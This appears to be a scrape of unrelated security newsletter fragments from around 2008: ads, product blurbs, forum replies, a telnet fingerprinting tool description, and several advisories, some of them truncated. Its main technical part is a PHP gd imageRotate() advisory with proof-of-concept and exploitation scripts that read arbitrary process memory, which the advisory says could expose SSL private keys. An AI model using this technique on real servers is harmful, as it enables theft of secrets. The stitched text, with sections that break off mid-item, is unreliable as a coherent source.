Managing File Permissions on Windows Server: There's More Than Meets the Eye

File system access control is such a fundamental security activity one would think it would be pretty straightforward but it isn’t.  Permissions inheritance works different in each version of Windows and there are many ways you can inadvertently mismanage access control. Maintaining file permissions accurately, keeping them up-to-date and re-verifying such access is also problematic due to the lack of reporting capabilities in Windows.  

You must follow a number of best practices to avoid file access pitfalls and ensure a good outcome to audits and assessments.  There are few things more embarrassing that an auditor finding Joe in the mailroom with access to your financial reports or personnel data.  

In this real-training (tm) webinar I will help you avoid these mistakes. I’ll take you on a deep-dive on how file system permissions work including coverage of customized permissions, inheritance and the surprising differences between different versions of Windows.  I’ll also show you important best practices you should implement to ensure security, compliance and maintainability.  

You’ll also benefit from the brief demonstration of the sponsor product which which really helps with reducing costs of handling the issues I cover above.

PHP gd Library imageRotate() Function Information Leak Vulnerability
------------------------------------------------------------------------


SUMMARY

PHP is a popular web programming language which is normally used as a
script engine in the server side. PHP 5 which is compiled with gd library,
includes a function called imageRotate() for rotating an image resource by
giving the rotation angle. This function fills the resulted empty areas
with a given default coloring after rotation (clrBack).

Gd library works with both indexed images and truecolor images. A
truecolor pixel is a DWORD which stores the color value of the pixel which
would be displayed without any change. In indexed mode by using an index
with a size of no more than 1 byte, the data would be fetched from a
color palette which consists of parallel arrays of color bytes. The gd
library uses the same data strcture for both of these image types
(gdImageStruct). An implementation error in PHP's gd library can cause
information leakage from the memory of the PHP (or possible the web
server) process.

Information leak vulnerabilities allow access to e.g. the Apache memory
which might contain the private RSA key for the SSL cert. If an attacker
is able to read it he can perform real man in the middle attacks on all
SSL connections. Aside from this in the days of ASLR, NX and canary
protections it is often vital for the success of the exploit to know exact
memory addresses.

DETAILS

Vulnerable Systems:
* PHP version 5.2.8 with gd Library and the imageRotate function

The imageRotate() function does not perform any validation check on the
clrBack parameter which is used as an index for the above mentioned arrays
with the size of 255 in the index image type. A correct validation check
for the indexed images could be:

file: php-x.y.z/ext/gd/libgd/gd.c

3129: gdImagePtr gdImageRotate (gdImagePtr src, double dAngle,
int clrBack, int ignoretransparent)
3130:{
3131: gdImagePtr pMidImg;
3132: gdImagePtr rotatedImg;
3133:
3134: if (src == NULL) {
3135: return NULL;
3136: }
3137:+
3137:+ // Index check
3137:+ if (!src->truecolor)
3137:+ clrBack &= 0xff; // Just keep the first byte
3137:+
3138: if (!gdImageTrueColor(src) && clrBack>=gdImageColorsTotal(src)) {
3139: return NULL;
3140: }

While rotating indexed image, gd retrieves the final backcolor from 4
parallel arrays (red, green, blue and alpha) with length of 255 and uses
clrBack as the index of these arrays. By providing a special clrBack value
(more than 255) we can read almost any address in php memory:

file: php-x.y.z/ext/gd/libgd/gd.h

typedef struct gdImageStruct {

-- snip snip --

int red[gdMaxColors];
int green[gdMaxColors];
int blue[gdMaxColors];

-- snip snip --

int alpha[gdMaxColors];
/* Truecolor flag and pixels. New 2.0 fields appear here at the
end to minimize breakage of existing object code. */
int trueColor;

-- snip snip --

} gdImage;

typedef gdImage * gdImagePtr;

then uses gdTrueColorAlpha macro to combine the 4 mentioned values.
gdTrueColorAlpha macro is implemented as following:

file: php-x.y.z/ext/gd/libgd/gd.h

#define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \
((r) << 16) + \
((g) << 8) + \
(b))

The final color value is the output of gdTrueColorAlpha macro which will
be used as background color. gdTrueColorAlpha uses '+' (add) instead of
'&' (and). While the '+' operator is slower, it also causes a security
issue. By using a reverse function we can calculate almost any desired
memory address.

Proof of concept:
This script would cause a segmentation fault because -9999999 would result
in reading an invalid memory address in PHP process:
<?php

$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,-9999999);

?>
Exploitation
We need to provide a good clrBack to imageRotate() and then calculate the
value of desired memory address by using imagecolorat() with arguments
concerned with angles of the rotated image. Upper right would be a good
spot (0, 0):
<?php
&special_index = /* index of the $address */
$r=imagecreate(300,300);
$gray = imagecolorallocate( $r, 111,111,111);
imagefilledrectangle($r,0,0,300,300,$gray);
$tmp =imagerotate( $r, 30, &special_index );
imagePng( $tmp, "test.png" );
?>

To read encoded memory values from a desired address, we have to use the
following script:
<?php

$address = /*address to read should be multiply of 4 */
$src = 0x84cde2c;
// depends on the image size and php script length but is constant
$index_b = -(int)(($src - $address + 0x810)/4);

$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,$index_b);
$f_b = imagecolorat( $tmp,0,0);

?>

After passing $index_b as the index of arrays (red, green, blue and alpha
arrays) and rotating $img (so that the values from the memory would be
read), b variable takes the value of $address.
The color at [0,0] would be filled by back color, thus $f_b has the return
value of gdTrueColorAlpha function. All we need to do is decoding its
value. The final value of $f_b is calculated as following:
$f_b = gdTrueColorAlpha( M[$address-512],
M[$address-255],
M[$address+0],
M[$address+1034]);

These offsets [-512, -255, 0, 1034] are the displacements in
gdImageStruct's arrays.

Decoding $f_b
As you can see in the source code $f_b is calculated like this:

* We have used a special $index_b in order that b would have the value
of memory address at $address. All we need to do is extracting b from
$f_b. It is obvious that F1 has the exact value of B1( first byte of
memory at $address location). To extract B2 we must have G1 values and use
this equation: B2 = F2 G1.

* To calculate B3 and B4 we will also need G2, G3, R1, R2, A1. These
bytes values can also be grabbed by using imagerotate function and sending
special indexes other than $index_b. For more information see the comments
in exploit source code.

InfoWorld's guide to the best mobile devices
Posted December 30, 03:00 a.m. Pacific Time

The iPhone started it, but everyone and his brother now seem to have a fancy smartphone on offer. If it's time to join the "mobile 2.0" generation, the InfoWorld Test Center can help you make the right choice. We've reviewed the new generation of mobile devices and sussed out their strengths and weaknesses.   >>



Cheap iPhones and fresh sliders
Posted December 29, 14:39 p.m. Pacific Time

Yes, yes, yes, I know. The iPhone went on sale at Wal-Mart yesterday. But not so fast! Sorry, Wal-Mart customers -- it's not $99. That would be the refurbished iPhones available to AT&T customers (at least until Dec. 31 or as long as supplies last).

The iPhones at Wal-Mart are going to run $197 for the 8GB model and $297 for the 16GB, which is still an accomplishment -- one that only the world's largest retail giant could shake out ...  >>



The mobile Web sucks, despite the iPhone
Posted December 29, 03:00 a.m. Pacific Time

The story: The Apple's iPhone 3G and apps from the App Store are so cool that everyone seems to forget that the mobile Web still, well, sucks. If we don't watch out, the Yellow Pages are going to make a comeback. The good news: Techies who really know how to develop will be in demand.   >>



More details of Sony's new laptop revealed
Posted December 29, 04:31 a.m. Pacific Time

Another day, another Sony laptop specification revealed? At the beginning of this week, Sony New Zealand began a teaser campaign for a new Vaio laptop. That was followed by Sony Japan on Wednesday, which offered a visual clue to the new machine, and Sony U.S. on Thursday apparently let the laptop's specifications out of the bag.   >>



Inside the perfect laptop
Posted December 25, 03:00 a.m. Pacific Time

It's fair to say that laptops have gotten boring. For years now, they've offered pretty much the same features and pretty much the same designs. Sure, there have been a few innovations such as Apple's multitouch trackpad, but mostly laptops have had just incremental improvements such as addi more media slots over time and replac USB 1.0 with USB 2 or FireWire 400 with FireWire 800.   >>

Trend Micro HouseCall "notifyOnLoadNative()" Vulnerability
------------------------------------------------------------------------


SUMMARY

"Trend Micro HouseCall is an application for checking whether your
computer has been infected by viruses, spyware, or other malware.
HouseCall performs additional security checks to identify and fix
vulnerabilities to prevent reinfection." Secunia Research has discovered a
vulnerability in Trend Micro HouseCall, which can be exploited by
malicious people to compromise a user's system.

DETAILS

Vulnerable Systems:
* Trend Micro HouseCall ActiveX Control version 6.51.0.1028

Drive business performance with Virtualization

Virtualization.
Agile. Efficient. Flexible. The IT infrastructure needs to be all these and then some—just what virtualization delivers. Virtualization is a proven engine that drives business performance. That's why for IT, virtualization is nothing short of mission-critical.  Check out these resources to learn more.

This week's feature item: Video: MLS Property Information Network saves big with virtualization and AMD Opteron processors
New England's largest home listing service receives up to 50,000 search requests an hour. For help handling all that traffic cost-effectively, the company turned to virtualization and Quad-Core AMD Opteron™ processors. The results? They're down from 60 servers to 25 and saving $20,000 a year on cooling alone. Learn more in this video case study.

telnetrecon - Telnet Recon
------------------------------------------------------------------------


SUMMARY

DETAILS

The telnetrecon project is doing some research in the field of telnet
server fingerprinting. The goal is the highly accurate identification of
given telnetd implementations. This is very important within professional
vulnerability analysis.

Besides the discussion of different approaches and the documentation of
gathered results also an implementation for automated analysis is
provided. This software shall improve the easyness and efficiency of this
kind of enumeration. The main approach is the fingerprinting of the telnet
options negotiation initiated by the server part. Some basic ideas of
application fingerprinting were discussed in the book "Die Kunst des
Penetration Testing" (Chapter 9, Application Fingerprinting,
<http://www.amazon.de/dp/3936546495/>
http://www.amazon.de/dp/3936546495/).

Telnet is a traditional tcp service which is served by default on port 23.
The initial specification is defined in RFC 854. Telnet stands for
terminal emulation over a network. This means an user will be able to
connect to a terminal remotely. This makes it possible to remote-conrol a
server within the command-line.

The given implementations rose the need for further possibilities. This
required the introduction of telnet options. The server and the client
should be able to negotiate which techniques and features should be used
and which should not. The negotiation of options are handled by the
keywords WILL, WONT, DO and DONT.

telnetrecon uses the following technique of fingerprinting the given
telnetd implementation. After connecting to a host the server responds
with the option demands and requests. These are dissected and compared to
the values within the fingerprinting database. As more matches could be
found as higher is the accuracy of the mapped fingerprint.

For example the following is the negotiaton the telnet server
implementation a Microsoft Windows XP sends back:
[nonprintable]

Those characters will be translated to their ASCII representation which is
easier to analyze and compare them. This will generate the following
fingerprint string:
255-253-37-255-251-255-251-255-253-92-39-255-253-255-253-255-251

The different demands are dissected by the IAC data byte 255. Then follows
the requirement. The first requirement is introduced with the symbol 253
which stands for the option code DO. The requirement itself is 37 which
stands for "Authentication Option" as it is discussed in RFC 2941.
Afterwards follows another 255 which introduces 251 which stands for the
option code WILL. This indicates the desire to begin performing, or
confirmation that you are now performing, the indicated option. And so on.

The currently known implementations of telnet fingerprinting, primarily
telnetfp by Team Teso, is using a strong identification mechanism. This
means the tool is gathering the telnet option negotiation and compare it
to the known strings. The identification is only successful if the
collected strings are identical. This is the easiest approach which does
not require real measurement of fingerprint hits.

However, this introduces the possibility of missing some partially known
implementations. For example if a well-known server has been configured to
announce RSA (authentication type 6) instead of KERBEROS_V5 (type 2). This
is the reason why telnetrecon uses a more modular approach which was
already introduced in httprecon (
<http://www.computec.ch/projekte/httprecon/>
http://www.computec.ch/projekte/httprecon/) and later in browserrecon (
<http://www.computec.ch/projekte/browserrecon/>
http://www.computec.ch/projekte/browserrecon/). The different negotiation
aspects are handled seperately. This makes it possible to provide the
accuracy of not exactly matching fingerprint scans.

The first release of telnetrecon is 0.1 which is not a major release
because many features are missing. Especially the fingerprint database is
very small and contain two example fingerprints only. Help to improve the
project and upload new fingerprints of known telnet daemons.

Look into DNS doctoring with the static command and dns keyword.
Since, from what I understand, you are trying to access an internal IP
by its public DNS name then you will have to do this or split your DNS
(one for internal resolution and one for external). In the previous
trains of code this was done with the alias command. Hope this helps.

I don't think this is necessarily the case. Some devices support this
kind of configuration and others do not. Cisco seems to have a
specific term for it -- 'hairpinning', and it is apparently supported
in later versions of PIX. I don't know enough about PIX specifically,
but if you google this term you'll find discussions on the subject.
Then you don't have to worry about splitting the DNS.

Unfortunately XArp can't really 'filter' (drop) the packets, but alert
you. I am currently working on a Linux port where writing a network
driver for filtering is easier than on Windows. Still, XArp is the best
solution as firewalls seldom do ARP filtering and those that do perform
ARP filtering have very primitive filters.

If you want to get an overview of mechanisms available for ARP attack
detection, you can have a look at a (yet incomplete) presentation I once
started: http://www.chrismc.de/development/xarp/arp_security_tools.html
(http://www.chrismc.de/development/xarp/Securing_ARP_0_2_0.pdf)

Debian Bugs : 427151 449103 508026

Several remote vulnerabilities have been discovered in phpPgAdmin, a tool
to administrate PostgreSQL database over the web. The Common

Well, Christmas is over. Happy Boxing Day to those in the United Kingdom, Canada, Australia, and New Zealand, and a continued Happy Hannukah to my Jewish readers. Everyone likes to do lists at the end of a year. There are lists of the greatest, worst, most memorable, best, etc. of the previous year, and many lists attempting to prognosticate events for the year to come. This week I posted a list of the Top 10 things that *won't* happen for IT security in 2009. Take a look at that and other recent news below. Have a safe and fun New Year's Eve, and we'll talk again in 2009.

2009 Information Security Predictions...Not
Can you predict the future? I won't say that I think it is entirely impossible, but I will say that I am pretty sure that if someone did have such ability they would find some better way to use it (whether for good or evil) than buying a 10 foot neon sign and doing $5 fortune teller readings. Despite the apparent lack of legitimate prescience, it doesn't stop just about everyone (and their proverbial 'grandmother') from making predictions about the coming year as this one comes to a close. Don't get me wrong. I think it can be fun if...read more

Poll: What Is Your Primary Operating System?
Good, bad, or indifferent, it seems like 2008 was the year of Windows Vista. Windows Vista was subject to much criticism. Some of it was legitimate. Much of it was misguided. As the Windows Mojave Project proved, the bad press and negative marketing from competitors like Apple apparently worked though. Users who had no firsthand knowledge of Windows Vista and no idea why they apparently didn't like it, were very impressed with the operating system when they thought it was a Top Secret Beta version of the next...read more

 
How Is Data Compromised? Let Us Count The Ways
Money may be hard to come by in this economy, especially during the holiday season, but there is one thing that is never in short supply as a year comes to a close- lists. There are lists for best song, worst movie, memorable moments, and just about anything you can think of. It does eventually get to be overkill, but some of the lists are kind of cool. Actually, one of the things that occurs to me with almost every one of these lists is "that just happened this year?!?!" Things that occurred back in January or February seem like they are from the distant past...read more
